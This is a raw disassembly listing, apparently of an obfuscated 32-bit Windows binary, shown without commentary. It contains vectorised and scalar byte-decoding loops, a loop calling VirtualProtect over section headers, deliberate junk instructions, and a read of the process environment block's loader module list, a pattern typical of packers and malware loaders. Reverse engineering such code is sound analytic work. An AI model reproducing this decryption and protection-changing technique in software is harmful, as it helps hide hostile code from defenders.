vpaddb xmm4, xmm4, xmmword [0x4179a0]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af4]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm3
vpbroadcastb xmm3, byte [0x417ae4]
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x461680]
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x461690]
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af5]
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af6]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [esp + 0x14]
vpxor xmm6, xmm6, xmm6
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [str.eeeeeeeeeeeeeeee]
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x4616c0]
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af7]
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpbroadcastb xmm2, byte [0x417ae3]
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x4616d0]
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmmword [0x417a90]
vpaddb xmm4, xmm0, xmm4
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x417860]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpbroadcastb xmm7, byte [0x417ae7]
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpcmpeqd xmm2, xmm2, xmm2
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm0, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm2
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpcmpeqd xmm7, xmm7, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [str.uuuuuuuuuuuuuuuu]
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpxor xmm6, xmm0, xmm2
vpbroadcastb xmm2, byte [0x417ae5]
vpaddb xmm4, xmm4, xmm6
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm2, xmm4
vpxor xmm2, xmm2, xmm2
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x4616f0]
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm7
vmovdqa xmm7, xmm3
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af8]
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpbroadcastb xmm3, byte [0x417aeb]
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af9]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm3
vpor xmm4, xmm4, xmm6
vpaddb xmm6, xmm4, xmmword [0x4178c0]
vpsllw xmm4, xmm4, 7
vpand xmm4, xmm4, xmm5
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm5, xmm6
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm2, xmm4
vpbroadcastb xmm2, byte [0x417ae3]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [0x461700]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm3
vmovdqa xmm3, xmm1
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417afa]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417afb]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpbroadcastb xmm7, byte [0x417afc]
vpor xmm4, xmm4, xmm6
vpaddb xmm6, xmm4, xmmword [0x461710]
vpsllw xmm4, xmm4, 7
vpand xmm4, xmm4, xmm5
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm5, xmm6
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417afd]
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmmword [0x417a90]
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vmovdqa xmm1, xmm2
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm7, xmm4
vpbroadcastb xmm7, byte [0x417ae7]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpbroadcastb xmm2, byte [0x417aeb]
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x417a70]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm2
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x461720]
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417aff]
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b00]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b01]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm2
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417afe]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm2
vpbroadcastb xmm2, byte [0x417ae4]
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [0x461730]
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [0x461740]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b02]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x4616a0]
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b03]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpbroadcastb xmm7, byte [0x417aeb]
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [str.GGGGGGGGGGGGGGGG]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x461760]
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpxor xmm2, xmm2, xmm2
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vmovdqa xmm1, xmm0
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [str.VVVVVVVVVVVVVVVV]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x461780]
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b04]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm2, xmm4
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b05]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmm0
vpbroadcastb xmm0, byte [0x417ae7]
vpsubb xmm4, xmm2, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmmword [0x417a90]
vmovdqu xmm2, xmmword [esp + 0x14]
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm2, xmm4
vpaddb xmm4, xmm4, xmmword [0x4177f0]
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm0, xmm6
vpand xmm4, xmm4, xmm0
vmovdqa xmm0, xmm1
vpbroadcastb xmm1, byte [0x417ae3]
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x417990]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417b06]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vmovdqa xmm7, xmm1
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [0x4178d0]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpbroadcastb xmm1, byte [0x417ae7]
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmmword [0x461620]
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm6, xmm4, xmmword [str.tttttttttttttttt]
vpsllw xmm4, xmm4, 7
vpand xmm4, xmm4, xmm5
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm5, xmm6
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [str.5555555555555555]
vpaddb xmm0, xmm0, xmmword [0x417a80]
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpbroadcastb xmm1, byte [0x417b07]
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm1, xmm4
vpbroadcastb xmm1, byte [0x417ae4]
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm1, xmm6
vpand xmm4, xmm4, xmm1
vpbroadcastb xmm1, byte [0x417af2]
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm1, xmm4
vmovdqa xmm1, xmm7
vpbroadcastb xmm1, byte [0x417b08]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm2, xmm4
vpaddb xmm4, xmm4, xmmword [0x4615a0]
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm1, xmm4
vmovdqu xmmword [esp + eax + 0x1893], xmm4
add eax, 0x10
cmp eax, 0x10
jne 0x404d40
mov ch, 0xff
mov dh, 0x8e
mov dl, 0x20
xor eax, eax
xor esi, esi
mov byte [esp + 0x14], 0x20
nop dword [eax]
movzx ebx, byte [esp + eax + 0x18a3]
mov cl, 0xdd
add bl, 0x31
ror bl, 1
movzx ebx, bl
add ebx, eax
add bl, 0x13
rol bl, 6
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xb0
rol bl, 5
add bl, 0x13
rol bl, 5
add bl, 0xed
rol bl, 6
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 5
add bl, 0xda
rol bl, 5
movzx ebx, bl
add ebx, eax
add bl, 0xf0
rol bl, 6
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xe6
rol bl, 5
sub cl, bl
rol cl, 3
movzx ebx, cl
mov cl, dh
add ebx, eax
add bl, 0xb3
rol bl, 6
movzx ebx, bl
add ebx, esi
add bl, 0x38
rol bl, 2
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0x14
rol bl, 5
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 6
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xd3
rol bl, 1
sub cl, bl
add cl, 0x4c
rol cl, 3
movzx ebx, cl
mov cl, 0x17
add ebx, esi
add bl, 0x10
rol bl, 1
sub cl, bl
ror cl, 1
movzx ebx, cl
mov cl, 0xfc
add ebx, esi
add bl, 0x10
ror bl, 1
add bl, 0x8d
rol bl, 3
add bl, 0x5d
rol bl, 6
neg bl
rol bl, 2
sub cl, bl
ror cl, 1
add cl, 0x2b
rol cl, 5
add cl, 0xab
rol cl, 6
movzx ebx, cl
mov cl, ch
add ch, 3
add ebx, eax
add bl, 0xf0
rol bl, 2
movzx ebx, bl
add ebx, esi
add bl, 0x1a
rol bl, 6
sub cl, bl
mov bl, 0x66
rol cl, 1
sub bl, cl
mov cl, dl
add dl, 0xfd
ror bl, 1
not bl
rol bl, 1
sub cl, bl
mov bl, 0x68
rol cl, 4
sub bl, cl
mov cl, 0xfc
rol bl, 5
add bl, 0x1a
rol bl, 6
movzx ebx, bl
add ebx, eax
add bl, 0x8a
rol bl, 2
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xf
rol bl, 2
sub cl, bl
mov bl, 0x3a
ror cl, 1
sub bl, cl
mov cl, 0x92
rol bl, 2
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0xd8
rol bl, 1
movzx ebx, bl
add ebx, eax
add bl, 0xf0
rol bl, 2
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0x7a
rol bl, 1
sub cl, bl
rol cl, 3
neg cl
movzx ebx, cl
mov cl, 0x3c
add ebx, eax
add bl, 0xda
ror bl, 1
add bl, 0x9e
rol bl, 3
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xfa
rol bl, 1
sub cl, bl
movzx ebx, byte [esp + 0x14]
add byte [esp + 0x14], 0xfe
rol cl, 5
sub bl, cl
mov cl, 0xed
rol bl, 1
add bl, 0x1b
rol bl, 5
add bl, 0xf1
rol bl, 2
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0xb8
ror bl, 1
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 2
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0x97
rol bl, 5
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0xef
rol bl, 5
movzx ebx, bl
add ebx, eax
add bl, 0xc9
rol bl, 1
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 6
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0xf0
rol bl, 3
not bl
rol bl, 2
add bl, 0x75
rol bl, 3
movzx ebx, bl
add ebx, esi
add bl, 0xf
rol bl, 3
sub cl, bl
ror cl, 1
add cl, 0x88
ror cl, 1
neg cl
movzx ebx, cl
mov cl, 0x5a
add ebx, esi
add bl, 0xf
ror bl, 1
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0x48
ror bl, 1
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 5
sub cl, bl
rol cl, 1
mov ebx, ecx
shl cl, 7
add bl, 0x54
shr bl, 1
or bl, cl
mov cl, 0xd5
neg bl
rol bl, 6
movzx ebx, bl
add ebx, esi
add bl, 0x26
rol bl, 1
sub cl, bl
mov bl, 0xf3
rol cl, 3
sub bl, cl
rol bl, 5
mov cl, bl
shl bl, 7
add cl, 0xcc
shr cl, 1
or cl, bl
neg cl
movzx ebx, cl
mov cl, 7
add ebx, esi
add bl, 0xf8
rol bl, 3
not bl
rol bl, 3
sub cl, bl
rol cl, 6
movzx ebx, cl
mov cl, 0x7e
add ebx, eax
add bl, 0xf0
ror bl, 1
add bl, 0x2b
rol bl, 1
neg bl
movzx ebx, bl
add ebx, eax
add bl, 0xdf
ror bl, 1
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0x22
ror bl, 1
sub cl, bl
mov bl, 0x72
rol cl, 3
sub bl, cl
mov cl, 0x20
rol bl, 1
sub cl, bl
rol cl, 1
movzx ebx, cl
mov cl, 0x19
add ebx, esi
add bl, 0xb5
rol bl, 2
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 5
movzx ebx, bl
add ebx, eax
add bl, 0xf0
ror bl, 1
movzx ebx, bl
add ebx, esi
add bl, 0xe
rol bl, 6
sub cl, bl
mov bl, 0xfd
ror cl, 1
add cl, 0xea
rol cl, 3
sub bl, cl
mov cl, 0xc6
rol bl, 2
add bl, 0x47
rol bl, 6
add bl, 0xe7
rol bl, 5
movzx ebx, bl
add ebx, eax
add bl, 0xf0
rol bl, 6
add bl, 0x56
rol bl, 1
add bl, 0xac
rol bl, 3
sub cl, bl
mov bl, 0xb7
rol cl, 3
neg cl
rol cl, 3
sub bl, cl
mov cl, 0x11
rol bl, 1
neg bl
movzx ebx, bl
add ebx, esi
add bl, 0x10
ror bl, 1
inc bl
ror bl, 1
add bl, dh
rol bl, 2
add bl, 0xc
rol bl, 1
add bl, 0x99
rol bl, 6
sub cl, bl
rol cl, 1
movzx ebx, cl
add ebx, esi
add bl, 0x3a
rol bl, 6
add bl, 0x5d
ror bl, 1
movzx ebx, bl
add ebx, esi
mov cl, bl
add bl, 0x84
shl cl, 7
shr bl, 1
or bl, cl
mov cl, 0xe2
movzx ebx, bl
add ebx, esi
add bl, 0x10
rol bl, 3
movzx ebx, bl
add ebx, esi
dec esi
add bl, 0x45
rol bl, 2
sub cl, bl
mov bl, 0x1a
rol cl, 5
sub bl, cl
mov cl, dh
add dh, 2
rol bl, 6
sub cl, bl
mov bl, 0xf9
add cl, 0x59
rol cl, 6
sub bl, cl
mov byte [esp + eax + 0x18a3], bl
inc eax
cmp esi, 0xfffffff3
jne 0x405c30
cmp word [edi + 6], 0
mov ebp, dword [esp + 0x10]
je 0x406090
add ebp, 8
mov edi, 0x40
xor esi, esi
mov ecx, dword [ebp + 0x1c]
mov eax, 0x40
mov edx, 4
mov ebx, 2
test ecx, 0x20000000
cmove eax, edx
mov edx, ecx
test ecx, 0x40000000
not edx
cmove ebx, edi
test edx, 0x60000000
mov edx, 0x20
cmove ebx, edx
cmp ecx, 0xc0000000
mov ecx, 4
lea edx, [esp + 0x34]
cmovb eax, ecx
mov ecx, dword [ebp + 4]
cmovb eax, ebx
add ecx, dword [esp]
push edx
push eax
push dword [ebp]
push ecx
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp + 4]
inc esi
add ebp, 0x28
movzx eax, word [eax + 6]
cmp esi, eax
jb 0x406020
add esi, 0x48
inc esi
rol edx, 0xb9
inc edx
add esi, 0x5d
and esi, 0xee
mov edx, 0xac
add eax, 0x79
imul edx
and edx, 0x93
rcl ebx, 0x5d
rol ebx, 0xa5
rol eax, 0xe6
inc edx
not esi
imul ebx
imul ebx
bswap ebx
ror edx, 0x1c
dec esi
dec ebx
add edx, 0x8a
rcl eax, 0x94
and ebx, 0xd8
add ebx, 0xed
mov edi, 0xea
and edi, 5
rol edx, 0x77
dec eax
imul eax
or edx, 0xc8
not eax
inc eax
bswap edi
rcr edi, 0xa5
bswap edi
add edi, 0x31
not ebx
ror eax, 0x85
add eax, 0xe1
inc esi
dec edi
not ebx
sbb eax, 0x3d
inc edx
neg edi
bswap edx
dec esi
inc eax
rol esi, 0x98
imul esi
not edi
and esi, 0x34
mov edi, 0xaf
imul eax
and eax, 0xb5
bswap esi
inc ebx
not esi
rol eax, 0xae
bswap edi
sub ebx, 0xd5
add edx, 0xc8
bswap esi
imul eax
dec edx
rcr edi, 0xea
not edx
add esi, 0x21
not esi
dec ebx
sbb edx, 0x3c
sub edi, 1
rol esi, 0x4a
inc edx
sbb edx, 0x3a
rcl ebx, 0xc4
imul ebx
add eax, 0x21
ror edi, 0x88
neg esi
dec edi
neg esi
imul ebx
bswap edx
and edx, 0xcb
sbb edi, 0x5e
imul esi
sbb ebx, 0xcb
and eax, 0xc7
not ebx
neg edi
neg eax
neg eax
not ebx
sub esi, 0x6a
neg edi
neg esi
sbb edx, 0x78
not eax
rcr esi, 0x32
or edx, 0x7e
dec edx
inc eax
inc edx
rcr edx, 8
not esi
dec esi
not esi
rol eax, 0xb9
sbb edx, 0xda
rcr eax, 0x48
sub esi, 0xf5
inc esi
inc edi
neg edx
add eax, 0x53
rcr edx, 0
mov eax, 0xc1
not ebx
or edi, 0x33
dec ebx
sbb eax, 0xf3
or edx, 0x29
dec esi
not edi
inc eax
not edx
mov edi, 0x9f
ror edx, 0x96
neg edx
neg edx
sub esi, 0xaa
rcl eax, 0xc5
sub edx, 9
bswap esi
add edi, 0x98
bswap eax
bswap edi
sbb edx, 0x3d
not edi
mov eax, 0x8a
not edi
and eax, 0x83
and edx, 0x1d
not edi
dec eax
imul edi
rcr edx, 0x8b
dec esi
mov ecx, dword fs:[0x30]
vmovups ymm0, ymmword [0x45f976]
vmovups ymm1, ymmword [0x45f95e]
vmovups ymm2, ymmword [0x45f93e]
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + 0x14]
rcr esi, 0x50
rcr edx, 0xe5
sbb eax, 0x77
rol edi, 0xf6
and esi, 0x26
mov ebx, 0x99
and edx, 0xb1
neg edx
mov esi, 0xc7
ror esi, 0x41
inc ebx
rcr esi, 0xe4
ror ebx, 0xff
or ebx, 0xc4
add edi, 0xc9
sbb edx, 0xd8
add ebx, 0xf8
rcl edi, 0x3f
sbb esi, 0x58
dec esi
or edi, 0xf0
add esi, 0x91
imul ebx
or esi, 0xd4
dec edx
sbb edi, 0x8c
imul ebx
bswap eax
inc esi
ror esi, 0x28
bswap eax
and esi, 0xd0
mov esi, 0x73
sub eax, 0xdf
not ebx
bswap esi
rol edi, 0x57
neg edx
rcr esi, 0x16
sub ebx, 0xdf
neg esi
rcr esi, 0x13
